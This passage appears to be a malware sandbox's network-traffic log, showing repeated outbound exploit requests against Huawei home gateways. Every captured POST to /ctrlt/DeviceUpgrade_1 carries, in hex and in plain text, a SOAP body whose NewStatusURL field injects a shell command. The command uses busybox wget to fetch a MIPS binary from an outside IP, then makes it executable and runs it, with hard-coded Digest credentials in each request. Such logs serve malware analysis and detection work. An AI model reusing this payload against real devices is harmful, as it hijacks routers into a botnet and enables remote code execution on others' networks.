Nov 19, 2023 09:16:51.994637012 CET	1903	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:53.603460073 CET	1933	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:55.523226976 CET	1986	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:59.330637932 CET	2102	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:07.009677887 CET	2296	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:22.367633104 CET	2716	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	156.241.67.35	37215	192.168.2.23	39514

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:52.054161072 CET	1904	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:53.987298965 CET	1935	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:56.519046068 CET	2014	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:01.122454882 CET	2132	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 